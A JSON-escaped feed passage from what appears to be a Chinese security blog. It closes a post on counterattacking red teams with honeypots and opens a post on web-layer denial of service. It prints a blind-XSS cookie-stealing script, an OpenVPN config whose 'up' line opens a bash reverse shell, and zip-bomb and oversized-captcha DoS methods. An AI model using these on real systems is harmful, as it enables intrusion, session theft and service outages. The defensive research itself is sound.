<li>\u6253\u865a\u5047\u6570\u636e\u56de\u4f20\u7ed9XSS\u5e73\u53f0\uff08\u8bf1\u5bfc\uff09<\/li>\n<\/ol>\n\n<p>\u901a\u5e38\u9009\u62e9\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u66f4\u6709\u610f\u4e49\uff0c\u5f53\u7136\u5b9e\u5728\u4e0d\u884c\u7684\u60c5\u51b5\u4e0b\u6211\u4eec\u8fd8\u662f\u53ef\u4ee5\u9009\u62e9\u6363\u4e71\u7684\u2026<\/p>\n\n<p>\u9996\u5148\uff0c\u6211\u4eec\u83b7\u53d6\u5230\u4e86XSS\u76f2\u6253\u7684\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-html\">'\"&gt;&lt;sCRiPt sRC=https:\/\/XXXX\/shX36&gt;&lt;\/sCrIpT&gt;\n<\/code><\/pre>\n\n<p>\u8ddf\u8fdbSRC\u5c5e\u6027\u5bf9\u5e94\u503c\uff08\u5730\u5740\uff09\uff0c\u83b7\u5f97\u5982\u4e0bJavaScript\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">(function(){(new Image()).src='https:\/\/XXXX\/xss.php?do=api&amp;id=shX36&amp;location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&amp;toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&amp;cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&amp;opener='+escape((function(){try{return (window.opener &amp;&amp; window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https:\/\/XXXX\/xss.php?do=keepsession&amp;id=shX36&amp;url='+escape(document.location)+'&amp;cookie='+escape(document.cookie)};\n<\/code><\/pre>\n\n<p>\u901a\u8fc7\u8be5\u6bb5\u4ee3\u7801\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u6570\u636e\u90fd\u56de\u4f20\u5230\u4e86\u8fd9\u4e2a\u63a5\u53e3\u4e0a\uff1a<code>https:\/\/XXXX\/xss.php?do=api&amp;id=shX36&amp;location=\u5730\u5740&amp;toplocation=\u5730\u5740&amp;cookie=Cookie\u4fe1\u606f&amp;opener=<\/code><\/p>\n\n<p>\u6211\u4eec\u5236\u5b9a\u4e86\u4e00\u4e2a\u8ba1\u5212\uff1a\u53d1\u9001\u5047\u6570\u636e\u524d\u5f80\u653b\u51fb\u8005\u6240\u4f7f\u7528\u7684XSS\u4fe1\u606f\u63a5\u6536\u5e73\u53f0\uff0c\u8bf1\u5bfc\u653b\u51fb\u8005\u8fdb\u5165\u871c\u7f50\u3002<\/p>\n\n<p>\u8d44\u6e90\u51c6\u5907\uff1a\u516c\u7f51\u57df\u540d\u89e3\u6790\u871c\u7f50\u5730\u5740\uff08\u9700\u8981\u5ba2\u6237\u7f51\u7edc\u5b89\u5168\u90e8\u95e8\u5177\u5907\u4e00\u5b9a\u7684\u6743\u5229\uff09\uff0c\u871c\u7f50\uff08\u9700\u8981\u5177\u5907\u871c\u7f50\u4ea7\u54c1\uff09\u4f2a\u9020\u5047\u540e\u53f0\uff0c\u5e76\u90e8\u7f72\u865a\u5047\u51c6\u5165\u5ba2\u6237\u7aef\u4e0b\u8f7d\uff1b\uff08\u3010\u7ec6\u8282\u3011\u5f53\u653b\u51fb\u8005Cookie\u4f2a\u9020\u8fdb\u540e\u53f0\u65f6\u4f1a\u63d0\u793a\uff1a\u5f53\u524d\u767b\u5f55IP\u4e0d\u5728\u51c6\u5165\u540d\u5355\uff09<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15974225450599.jpg\" alt=\"\" \/><\/p>\n\n<p>\u4e07\u4e8b\u4ff1\u5907\u53ea\u6b20\u4e1c\u98ce\uff0c\u5bf9\u5e94\u53c2\u6570\u4f20\u5165\u865a\u5047\u8bf1\u5bfc\u6570\u636e\uff08Location\u5730\u5740\u4e3a\u67e5\u770b\u7559\u8a00\u4fe1\u606f\u7684\u5730\u5740\uff0cToplocation\u4e3a\u5f15\u7528\u8be5\u754c\u9762\u7684\u5730\u5740\uff0c\u5c06\u7528\u6237\u540d\u3001\u5bc6\u7801\u5199\u5165\u5230Cookie\u4e2d\u914d\u5408\u201c\u51c6\u5165\u5ba2\u6237\u7aef\u201d\u7684\u8bf1\u5bfc\u653b\u51fb\uff09\u53d1\u9001\u8fc7\u53bb\uff0c\u7b49\u5f85\u653b\u51fb\u961f\u4e0a\u94a9\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15974225704908.jpg\" alt=\"\" \/><\/p>\n\n<h3 id=\"\u6280\u5de7\u7bc7\">\u6280\u5de7\u7bc7<\/h3>\n\n<p>\u6280\u5de7\u7bc7\u4e0d\u8fc7\u591a\u8bb2\u89e3\uff0c\u61c2\u5f97\u81ea\u7136\u61c2\u3002<\/p>\n\n<h4 id=\"\u865a\u5047\u5907\u4efd\u6587\u4ef6\">\u865a\u5047\u5907\u4efd\u6587\u4ef6<\/h4>\n\n<p>\u914d\u5408\u871c\u7f50\u90e8\u7f72\u865a\u5047\u6f0f\u6d1e\uff0c\u4f8b\u5982\u5907\u4efd\u6587\u4ef6\uff08WWW.rar\uff09\u914d\u5408CVE-2018-20250\u6f0f\u6d1e\u3002<\/p>\n\n<p>\u53c2\u8003\uff1ahttps:\/\/github.com\/WyAtu\/CVE-2018-20250<\/p>\n\n<h4 id=\"openvpn\u914d\u7f6e\u540e\u95e8\">OpenVPN\u914d\u7f6e\u540e\u95e8<\/h4>\n\n<p>OpenVPN\u914d\u7f6e\u6587\u4ef6\uff08<strong>OVPN\u6587\u4ef6<\/strong>\uff0c\u662f\u63d0\u4f9b\u7ed9OpenVPN\u5ba2\u6237\u7aef\u6216\u670d\u52a1\u5668\u7684\u914d\u7f6e\u6587\u4ef6\uff09\u662f\u53ef\u4ee5\u4fee\u6539\u5e76\u52a0\u5165\u547d\u4ee4\u7684\u3002<\/p>\n\n<p>OVPN\u6587\u4ef6\u6700\u7b80\u5355\u7684\u5f62\u5f0f\u5982\u4e0b\uff1a<\/p>\n\n<pre><code>remote 192.168.31.137\nifconfig 10.200.0.2 10.200.0.1\ndev tun\n<\/code><\/pre>\n\n<blockquote>\n  <p>\u4ee5\u4e0a\u6587\u4ef6\u8868\u793a\uff0c\u5ba2\u6237\u7aef\u4f1a\u4ee5\u5f00\u653e\u7684\uff0c\u4e0d\u7528\u8eab\u4efd\u9a8c\u8bc1\u6216\u52a0\u5bc6\u65b9\u5f0f\u53bb\u8fde\u63a5IP\u4e3a192.168.31.137\u7684\u8fdc\u7a0b\u670d\u52a1\uff0c\u5728\u6b64\u8fc7\u7a0b\u4e2d\uff0c\u4f1a\u5efa\u7acb\u4e00\u79cd\u540d\u4e3atun\u7684\u8def\u7531\u6a21\u5f0f\uff0c\u7528\u5b83\u6765\u5728\u7cfb\u7edf\u4e0d\u540c\u5ba2\u6237\u7aef\u95f4\u6267\u884c\u70b9\u5bf9\u70b9\u534f\u8bae\uff0c\u4f8b\u5982\uff0c\u8fd9\u91cc\u7684tun\u8def\u7531\u6a21\u5f0f\u4e0b\uff0ctun\u5ba2\u6237\u7aef\u4e3a10.200.0.2\uff0ctun\u670d\u52a1\u7aef\u4e3a10.200.0.1\uff0c\u4e5f\u5c31\u662f\u672c\u5730\u7684tun\u8bbe\u5907\u5730\u5740\u3002\u8fd9\u91cc\u7684\u4e09\u884cOVPN\u914d\u7f6e\u6587\u4ef6\u53ea\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u793a\u4f8b\uff0c\u771f\u6b63\u5e94\u7528\u73af\u5883\u4e2d\u7684OVPN\u6587\u4ef6\u968f\u4fbf\u90fd\u662f\u6570\u767e\u884c\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u5f88\u591a\u590d\u6742\u7684\u529f\u80fd\u914d\u7f6e\u3002<\/p>\n<\/blockquote>\n\n<p>OpenVPN \u914d\u7f6e\u529f\u80fd\u7684 up \u547d\u4ee4\u53ef\u4ee5\u4f7f\u5f97\u6dfb\u52a0\u914d\u7f6e\u6587\u4ef6\u540e\u6267\u884c\u6211\u4eec\u6240\u60f3\u8ba9\u5176\u6267\u884c\u7684\u547d\u4ee4\uff0c\u5b98\u65b9\u6587\u6863\u4e2d\u6709\u8bf4\u660e\uff1ahttps:\/\/openvpn.net\/community-resources\/reference-manual-for-openvpn-2-0\/<\/p>\n\n<blockquote>\n  <p>\u6210\u529f\u542f\u7528 TUN\/TAP \u6a21\u5f0f\u540e\u7684 cmd \u547d\u4ee4\u3002<\/p>\n\n  <p>\u8be5cmd\u547d\u4ee4\u4e2d\u5305\u542b\u4e86\u4e00\u4e2a\u811a\u672c\u7a0b\u5e8f\u6267\u884c\u8def\u5f84\u548c\u53ef\u9009\u7684\u591a\u4e2a\u6267\u884c\u53c2\u6570\u3002\u8fd9\u79cd\u6267\u884c\u8def\u5f84\u548c\u53c2\u6570\u53ef\u7531\u5355\u5f15\u53f7\u6216\u53cc\u5f15\u53f7\uff0c\u6216\u8005\u662f\u53cd\u659c\u6760\u6765\u5f3a\u8c03\uff0c\u4e2d\u95f4\u7528\u7a7a\u683c\u533a\u5206\u3002up\u547d\u4ee4\u53ef\u7528\u4e8e\u6307\u5b9a\u8def\u7531\uff0c\u8fd9\u79cd\u6a21\u5f0f\u4e0b\uff0c\u53d1\u5f80VPN\u53e6\u4e00\u7aef\u4e13\u7528\u5b50\u7f51\u7684IP\u6d41\u91cf\u4f1a\u88ab\u8def\u7531\u5230\u96a7\u9053\u4e2d\u53bb\u3002<\/p>\n<\/blockquote>\n\n<p>\u672c\u8d28\u4e0a\uff0cup\u547d\u4ee4\u4f1a\u6267\u884c\u4efb\u4f55\u4f60\u6307\u5411\u7684\u811a\u672c\u7a0b\u5e8f\u3002\u5982\u679c\u53d7\u5bb3\u8005\u4f7f\u7528\u7684\u662f\u652f\u6301<code>\/dev\/tcp<\/code>\u7684Bash\u547d\u4ee4\u7248\u672c\uff0c\u90a3\u4e48\u5728\u53d7\u5bb3\u8005\u7cfb\u7edf\u4e0a\u521b\u5efa\u4e00\u4e2a\u53cd\u5f39\u63a7\u5236 shell \u8f7b\u800c\u6613\u4e3e\u3002\u5c31\u5982\u4ee5\u4e0bOVPN\u6587\u4ef6\u4e2d\u5c31\u53ef\u521b\u5efa\u4e00\u4e2a\u8fde\u63a5\u5230 192.168.31.138:9090 \u7684\u53cd\u5f39shell\u3002<\/p>\n\n<pre><code>remote 192.168.31.137\nifconfig 10.200.0.2 10.200.0.1\ndev tun\nscript-security 2\nup \"\/bin\/bash -c '\/bin\/bash -i &gt; \/dev\/tcp\/192.168.31.138\/9090 0&lt;&amp;1 2&gt;&amp;1&amp;'\"\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2020-09-03\/15974251626915.jpg\" alt=\"-w797\" \/><\/p>\n\n<p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cup \u547d\u4ee4\u9700\u8981\u6210\u529f\u8fde\u63a5\u4e3b\u673a\u624d\u4f1a\u6267\u884c\uff0c\u4e5f\u5c31\u662f\u8bf4192.168.31.137\u9700\u8981\u771f\u5b9e\u5b58\u5728\u3002<\/p>\n\n<h4 id=\"\u5175\u5668\u6f0f\u6d1e\">\u5175\u5668\u6f0f\u6d1e<\/h4>\n\n<p>\u53ef\u4ee5\u5c1d\u8bd5\u6316\u6398\u8681\u5251\u3001\u51b0\u874e\u3001\u83dc\u5200\u3001BurpSuite\u3001SQLmap\u3001AWVS\u76840day\u6f0f\u6d1e\uff08\u9700\u8981\u4e00\u5b9a\u7684\u6280\u672f\u6c34\u5e73\uff09\uff0c\u6216\u5229\u7528\u5386\u53f2\u6f0f\u6d1e\u90e8\u7f72\u76f8\u5173\u73af\u5883\u8fdb\u884c\u53cd\u6253\uff0c\u4f8b\u5982\u8681\u5251\uff1ahttps:\/\/gitee.com\/mirrors\/antSword\/blob\/master\/CHANGELOG.md<\/p>\n\n<p>\u5386\u53f2\u7248\u672c\u4e2d\u51fa\u73b0\u8bf8\u591aXSS\u6f0f\u6d1e-&gt;RCE\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15974256921135.jpg\" alt=\"-w942\" \/><\/p>\n\n<h2 id=\"\u6587\u672b\">\u6587\u672b<\/h2>\n\n<p>\u53ea\u8981\u601d\u7ef4\u6d3b\u8dc3\uff0c\u67af\u71e5\u65e0\u5473\u7684\u4e00\u4ef6\u4e8b\u60c5\u4e5f\u53ef\u4ee5\u53d8\u5f97\u751f\u52a8\u6709\u8da3\uff0c\u751f\u6d3b\u5982\u6b64\uff0c\u5de5\u4f5c\u4ea6\u5982\u6b64\u3002<\/p>\n\n<p>\u84dd\u961f\u53cd\u5236\uff0c\u9700\u8981\u5177\u5907\u8fd9\u51e0\u4e2a\u6761\u4ef6\u624d\u80fd\u6dcb\u6f13\u5c3d\u81f3\u7684\u6325\u6d12\u51fa\u6765\uff1a<\/p>\n\n<ol>\n  <li>\u5ba2\u6237\u5b89\u5168\u76f8\u5173\u90e8\u95e8\u7684\u6743\u529b\u8981\u9ad8<\/li>\n  <li>\u4ee5\u81ea\u5bb6\u5382\u5546\u4e3a\u4e3b\u5bfc\u7684\u9632\u5b88\u9879\u76ee<\/li>\n  <li>\u6700\u597d\u5177\u5907\u73b0\u6210\u7684\u73b0\u4ee3\u871c\u7f50\u4ea7\u54c1<\/li>\n<\/ol>\n\n<p>\u672a\u6765\uff0c\u653b\u9632\u5bf9\u6297\u6f14\u4e60\u4e0d\u4ec5\u4ec5\u662f\u524d\u51e0\u5e74\u6240\u5c55\u793a\u7684\u90a3\u6837\uff1a\u84dd\u961f\u53ea\u8981\u77e5\u9053\u9632\u5b88\u624b\u6bb5\uff1b\u800c\u8d8b\u52bf\u5c06\u4f1a\u6162\u6162\u7684\u504f\u5411\u4e8e\u771f\u6b63\u7684\u653b\u9632\uff0c\u84dd\u961f\u4e0d\u4ec5\u8981\u4f1a\u57fa\u672c\u7684\u9632\u5b88\u624b\u6bb5\uff0c\u8fd8\u8981\u5177\u5907\u5f3a\u608d\u7684\u5bf9\u6297\u80fd\u529b\uff0c\u4e0e\u7ea2\u961f\u8fdb\u884c\u5bf9\u6297\uff0c\u8fd9\u5bf9\u84dd\u961f\u6210\u5458\u7684\u653b\u9632\u6280\u672f\u6c34\u5e73\u4e5f\u662f\u4e00\u79cd\u66f4\u9ad8\u7684\u8003\u9a8c\u3002<\/p>\n\n<p>\u6700\u540e\u7684\u6700\u540e\uff1aHACK THE WORLD - TO DO IT.<\/p>\n\n<h3 id=\"reference\">Reference<\/h3>\n\n<p>\u5bf9\u67d0\u653b\u51fb\u961f\u7684Webshell\u8fdb\u884c\u5206\u6790 - https:\/\/gh0st.cn\/archives\/2019-08-21\/1<\/p>\n\n<p>\u4eceOpenVPN\u914d\u7f6e\u6587\u4ef6\u4e2d\u521b\u5efa\u53cd\u5f39Shell\u5b9e\u73b0\u7528\u6237\u7cfb\u7edf\u63a7\u5236  - https:\/\/www.freebuf.com\/articles\/terminal\/175862.html<\/p>\n","pubDate":"2020-09-03T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-09-03\/1","guid":"https:\/\/gh0st.cn\/archives\/2020-09-03\/1"},{"title":"Web\u5c42\u9762\u4e0a\u7684\u90a3\u4e9b\u62d2\u7edd\u670d\u52a1\u653b\u51fb(DoS)","description":"<h1 id=\"web\u5c42\u9762\u4e0a\u7684\u90a3\u4e9b\u62d2\u7edd\u670d\u52a1\u653b\u51fbdos\">Web\u5c42\u9762\u4e0a\u7684\u90a3\u4e9b\u62d2\u7edd\u670d\u52a1\u653b\u51fb(DoS)<\/h1>\n\n<h2 id=\"\u58f0\u660e\">\u58f0\u660e<\/h2>\n\n<p>\u7531\u4e8e\u4f20\u64ad\u3001\u5229\u7528\u6b64\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u800c\u9020\u6210\u7684\u4efb\u4f55\u76f4\u63a5\u6216\u8005\u95f4\u63a5\u7684\u540e\u679c\u53ca\u635f\u5931\uff0c\u5747\u7531\u4f7f\u7528\u8005\u672c\u4eba\u8d1f\u8d23\uff0cVulkey_Chen(\u6234\u57ce)\u4e0d\u4e3a\u6b64\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\u3002<\/p>\n\n<p>Vulkey_Chen(\u6234\u57ce)\u62e5\u6709\u5bf9\u6b64\u6587\u7ae0\u7684\u4fee\u6539\u548c\u89e3\u91ca\u6743\u3002\u5982\u6b32\u8f6c\u8f7d\u6216\u4f20\u64ad\u6b64\u6587\u7ae0\uff0c\u5fc5\u987b\u4fdd\u8bc1\u6b64\u6587\u7ae0\u7684\u5b8c\u6574\u6027\uff0c\u5305\u62ec\u7248\u6743\u58f0\u660e\u7b49\u5168\u90e8\u5185\u5bb9\u3002<\/p>\n\n<p>\u672a\u7ecfVulkey_Chen(\u6234\u57ce)\u5141\u8bb8\uff0c\u4e0d\u5f97\u4efb\u610f\u4fee\u6539\u6216\u8005\u589e\u51cf\u6b64\u6587\u7ae0\u5185\u5bb9\uff0c\u4e0d\u5f97\u4ee5\u4efb\u4f55\u65b9\u5f0f\u5c06\u5176\u7528\u4e8e\u5546\u4e1a\u76ee\u7684\u3002<\/p>\n\n<p>\u672c\u6587\u6240\u9700\u4e00\u5b9a\u57fa\u7840\u77e5\u8bc6\u65b9\u80fd\u987a\u7545\u7684\u8fdb\u884c\u9605\u8bfb\u548c\u7406\u89e3\uff0c\u57fa\u7840\u77e5\u8bc6\u8bf7\u8bfb\u8005\u81ea\u884c\u641c\u7d22\u5b66\u4e60\u3002<\/p>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u76f8\u4fe1\u5f88\u591a\u5e08\u5085\u90fd\u4e86\u89e3DDoS\u653b\u51fb\uff0c\u4e5f\u5c31\u662f\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\uff0c\u4f46\u8fd9\u7c7b\u653b\u51fb\u5728\u5f88\u591a\u65f6\u5019\u62fc\u7684\u662f\u8d44\u6e90\uff0c\u4ece\u653b\u51fb\u8005\u7684\u89d2\u5ea6\u6765\u770b\u8fdb\u884c\u6b64\u7c7b\u653b\u51fb\u8fd8\u662f\u9700\u8981\u4e00\u5b9a\u201c\u6210\u672c\u201d\u7684\uff0c\u4ece\u53d7\u5bb3\u8005\u7684\u89d2\u5ea6\u6765\u770b\u9632\u5fa1\u6b64\u7c7b\u653b\u51fb\u7684\u201c\u6210\u672c\u201d\u66f4\u662f\u6602\u8d35\uff01<\/p>\n\n<p>\u62d2\u7edd\u670d\u52a1\u662f\u4e00\u4e2a\u8001\u751f\u5e38\u8c08\u7684\u8bdd\u9898\uff0c\u800c\u53d1\u751f\u5728Web\u5c42\u9762\u7684\u62d2\u7edd\u670d\u52a1\u98ce\u9669\u4e00\u76f4\u4e0d\u88ab\u91cd\u89c6\uff1b\u867d\u7136\u5176\u4e0d\u5982RCE\u3001SQLi\u4e4b\u7c7b\u7684\u6f0f\u6d1e\u66f4\u52a0\u76f4\u63a5\u7684\u5f71\u54cd\u6570\u636e\u548c\u670d\u52a1\uff0c\u4f46\u4ee4\u670d\u52a1\u5668\u5b95\u673a\u8fd9\u7c7b\u98ce\u9669\u8fd8\u662f\u4e0d\u5bb9\u5c0f\u89c6\u3002<\/p>\n\n<p>\u8bd5\u60f3\u5982\u679c\u653b\u51fb\u8005\u53bb\u5229\u7528<strong>\u4e0d\u8d39\u6210\u672c<\/strong>\u7684Web\u5c42\u62d2\u7edd\u670d\u52a1\u98ce\u9669\u9020\u6210\u670d\u52a1\u5668\u3001\u5e94\u7528\u3001\u6a21\u5757\u2026\u762b\u75ea\u5b95\u673a\uff0c\u5c82\u4e0d\u662f\u4ee4\u90a3\u4e9b\u65a5\u5de8\u8d44\u5efa\u8bbe\/\u8d2d\u4e70\u201cDDoS\u9632\u62a4\u201d\u4e00\u8138\u61f5\uff5e<\/p>\n\n<h2 id=\"\u539f\u7406\u53ca\u6848\u4f8b\">\u539f\u7406\u53ca\u6848\u4f8b<\/h2>\n\n<h3 id=\"\u8d44\u6e90\u751f\u6210\u5927\u5c0f\u53ef\u63a7\">\u8d44\u6e90\u751f\u6210\u5927\u5c0f\u53ef\u63a7<\/h3>\n\n<p>\u73b0\u5728\u6709\u8bb8\u591a\u8d44\u6e90\u662f\u7531\u670d\u52a1\u5668\u751f\u6210\u7136\u540e\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u7684\uff0c\u800c\u6b64\u7c7b\u201c\u8d44\u6e90\u751f\u6210\u201d\u63a5\u53e3\u5982\u82e5\u6709\u53c2\u6570\u53ef\u4ee5\u88ab\u5ba2\u6237\u7aef\u63a7\u5236\uff08\u53ef\u63a7\uff09\uff0c\u5e76\u6ca1\u6709\u505a\u4efb\u4f55\u8d44\u6e90\u751f\u6210\u5927\u5c0f\u9650\u5236\uff0c\u8fd9\u6837\u5c31\u4f1a\u9020\u6210\u62d2\u7edd\u670d\u52a1\u98ce\u9669\u3002<\/p>\n\n<p>\u6b64\u7c7b\u573a\u666f\u591a\u4e3a\uff1a\u56fe\u7247\u9a8c\u8bc1\u7801\u3001\u4e8c\u7ef4\u7801<\/p>\n\n<h4 id=\"\u5b9e\u9645\u573a\u666f\">\u5b9e\u9645\u573a\u666f<\/h4>\n\n<p>\u56fe\u7247\u9a8c\u8bc1\u7801\u5728\u767b\u5f55\u3001\u6ce8\u518c\u3001\u627e\u56de\u5bc6\u7801\u2026\u7b49\u529f\u80fd\u6bd4\u8f83\u5e38\u89c1\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911055744176.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5173\u6ce8\u4e00\u4e0b\u63a5\u53e3\u5730\u5740\uff1a<code>https:\/\/attack\/validcode?w=130&amp;h=53<\/code><\/p>\n\n<p>\u53c2\u6570\u503c\uff1a<code>w=130&amp;h=53<\/code>\uff0c\u6211\u4eec\u53ef\u4ee5\u7406\u89e3\u4e3a\u751f\u6210\u7684\u9a8c\u8bc1\u7801\u5927\u5c0f<strong>\u957f\u4e3a130<\/strong>\uff0c<strong>\u5bbd\u4e3a53<\/strong><\/p>\n\n<p>\u53ef\u4ee5\u5c06<code>w=130<\/code>\u4fee\u6539\u4e3a<code>w=130000000000000000<\/code>\uff0c\u8ba9\u670d\u52a1\u5668\u751f\u6210\u8d85\u5927\u7684\u56fe\u7247\u9a8c\u8bc1\u7801\u4ece\u800c\u5360\u7528\u670d\u52a1\u5668\u8d44\u6e90\u9020\u6210\u62d2\u7edd\u670d\u52a1\u3002<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911060427058.jpg\" alt=\"\" \/><\/p>\n\n<h3 id=\"zip\u70b8\u5f39\">Zip\u70b8\u5f39<\/h3>\n\n<p>\u4e0d\u77e5\u9053\u5404\u4f4d\u6709\u6ca1\u6709\u542c\u8bf4\u8fc7Zip\u70b8\u5f39\uff0c\u4e00\u4e2a42KB\u7684\u538b\u7f29\u6587\u4ef6(Zip)\uff0c\u89e3\u538b\u5b8c\u5176\u5b9e\u662f\u4e2a<code>4.5PB<\/code>\u7684\u201c\u70b8\u5f39\u201d\u3002<\/p>\n\n<p>\u5148\u4e0d\u8bf4<code>4.5PB<\/code>\u8fd9\u4e2a\u60ca\u4eba\u7684\u5927\u5c0f\uff0c\u5149\u89e3\u538b\u90fd\u4f1a\u5360\u7528\u6781\u5927\u7684\u5185\u5b58\u3002<\/p>\n\n<p>\u8be5\u6587\u4ef6\u7684\u4e0b\u8f7d\u5730\u5740\uff1ahttps:\/\/www.bamsoftware.com\/hacks\/zipbomb\/42.zip<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911070729869.jpg\" alt=\"-w447\" \/><\/p>\n\n<blockquote>\n  <p>\u89e3\u538b\u8fd9\u4e2a<code>42.zip<\/code>\u4ee5\u540e\u4f1a\u51fa\u73b0<code>16<\/code>\u4e2a\u538b\u7f29\u5305\uff0c\u6bcf\u4e2a\u538b\u7f29\u5305\u53c8\u5305\u542b<code>16<\/code>\u4e2a\uff0c\u5982\u6b64\u5faa\u73af<code>5<\/code>\u6b21\uff0c\u6700\u540e\u5f97\u5230<code>16<\/code>\u7684<code>5<\/code>\u6b21\u65b9\u4e2a\u6587\u4ef6\uff0c\u4e5f\u5c31\u662f<code>1048576<\/code>\u4e2a\u6587\u4ef6\uff0c\u8fd9\u4e00\u767e\u591a\u4e07\u4e2a\u6700\u7ec8\u6587\u4ef6\uff0c\u6bcf\u4e2a\u5927\u5c0f\u4e3a<code>4.3GB<\/code>\u3002\n\u56e0\u6b64\u6574\u4e2a\u89e3\u538b\u8fc7\u7a0b\u7ed3\u675f\u4ee5\u540e\uff0c\u4f1a\u5f97\u5230 <code>1048576 * 4.6 GB = 4508876.8 GB<\/code>\uff0c\u4e5f\u5c31\u662f <code>4508876.8 \u00f7 1024 \u00f7 1024 = 4.5 PB<\/code>\u3002<\/p>\n<\/blockquote>\n\n<p>\u901a\u8fc7\u4ee5\u4e0a\u8bf4\u660e\uff0c\u6211\u4eec\u53ef\u4ee5\u5bfb\u627e\u5b58\u5728\u89e3\u538b\u529f\u80fd\u7684Web\u573a\u666f\u8fdb\u884c\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u4f46\u662f\u8fd9\u91cc\u6709\u4e00\u4e2a\u524d\u7f6e\u6761\u4ef6\u5c31\u662f\u9700\u8981\u89e3\u538b\u5e76\u53ef\u4ee5\u9012\u5f52\u89e3\u538b\u3002<\/p>\n\n<p>\u90a3\u6211\u4eec\u60f3\u8981\u5b8c\u6210\u8fd9\u4e00\u653b\u51fb\u5c31\u975e\u5e38\u7684\u56f0\u96be\u4e86\uff0c\u201c\u524d\u8f88\u201d\u4e5f\u63d0\u5230\u4e86\u975e\u9012\u5f52\u7684Zip\u70b8\u5f39\uff0c\u4e5f\u5c31\u662f\u6ca1\u6709\u5d4c\u5957Zip\u6587\u4ef6\u6587\u4ef6\u7684\uff0c\u5982\u4e0b\u8868\u683c\uff1a<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u540d\u79f0<\/th>\n      <th>\u89e3\u538b\u7ed3\u679c<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td><a href=\"https:\/\/www.bamsoftware.com\/hacks\/zipbomb\/zbsm.zip\">zbsm.zip<\/a><\/td>\n      <td>42 kB \t\u2192 \t5.5 GB<\/td>\n    <\/tr>\n    <tr>\n      <td><a href=\"https:\/\/www.bamsoftware.com\/hacks\/zipbomb\/zblg.zip\">zblg.zip<\/a><\/td>\n      <td>10 MB \t\u2192 \t281 TB<\/td>\n    <\/tr>\n    <tr>\n      <td><a href=\"https:\/\/www.bamsoftware.com\/hacks\/zipbomb\/zbxl.zip\">zbxl.zip<\/a><\/td>\n      <td>46 MB \t\u2192 \t4.5 PB (Zip64, less compatible)<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u5b58\u5728\u89e3\u538b\u529f\u80fd\u7684Web\u573a\u666f\u8fd8\u662f\u6bd4\u8f83\u591a\u7684\uff0c\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u4e1a\u52a1\u573a\u666f\u8fdb\u884c\u5bfb\u627e\u3002<\/p>\n\n<h4 id=\"\u5b9e\u9645\u573a\u666f-1\">\u5b9e\u9645\u573a\u666f<\/h4>\n\n<p>\u6839\u636e\u5b9e\u9645\u4e1a\u52a1\u573a\u666f\u53d1\u73b0\u4e00\u5904\u4e0a\u4f20\u6a21\u677f\u6587\u4ef6\u529f\u80fd\uff0c\u6839\u636e\u7b80\u5355\u7684\u6d4b\u8bd5\uff0c\u53d1\u73b0\u6b64\u5904\u4e0a\u4f20Zip\u6587\u4ef6\u4f1a\u81ea\u52a8\u89e3\u538b\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911064054609.jpg\" alt=\"-w176\" \/><\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911081629641.jpg\" alt=\"-w400\" \/><\/p>\n\n<p>\u8fd9\u91cc\u6211\u9009\u62e9\u4e0a\u4f20<code>zbsm.zip<\/code>\u4e0a\u53bb\uff0c\u770b\u4e00\u4e0b\u670d\u52a1\u5668\u53cd\u5e94:<\/p>\n\n<p><img src=\"\/images\/2020-06-22\/15911091742556.jpg\" alt=\"-w171\" \/><\/p>\n\n<p>\u8fd9\u91cc\u6574\u4e2a\u670d\u52a1\u7684\u8bf7\u6c42\u90fd\u6ca1\u6709\u8fd4\u56de\u7ed3\u679c\uff0c\u6210\u529f\u9020\u6210\u62d2\u7edd\u670d\u52a1\u3002<\/p>\n\n<h3 id=\"xdosxml\u62d2\u7edd\u670d\u52a1\u653b\u51fb\">XDoS(XML\u62d2\u7edd\u670d\u52a1\u653b\u51fb)<\/h3>\n\n<p>XDoS\uff0cXML\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u5176\u5c31\u662f\u5229\u7528DTD\u4ea7\u751fXML\u70b8\u5f39\uff0c\u5f53\u670d\u52a1\u7aef\u53bb\u89e3\u6790XML\u6587\u6863\u65f6\uff0c\u4f1a\u8fc5\u901f\u5360\u7528\u5927\u91cf\u5185\u5b58\u53bb\u89e3\u6790\uff0c\u4e0b\u9762\u6211\u4eec\u6765\u770b\u51e0\u4e2aXML\u6587\u6863\u7684\u4f8b\u5b50\u3002<\/p>\n\n<h4 id=\"billion-laughs\">Billion 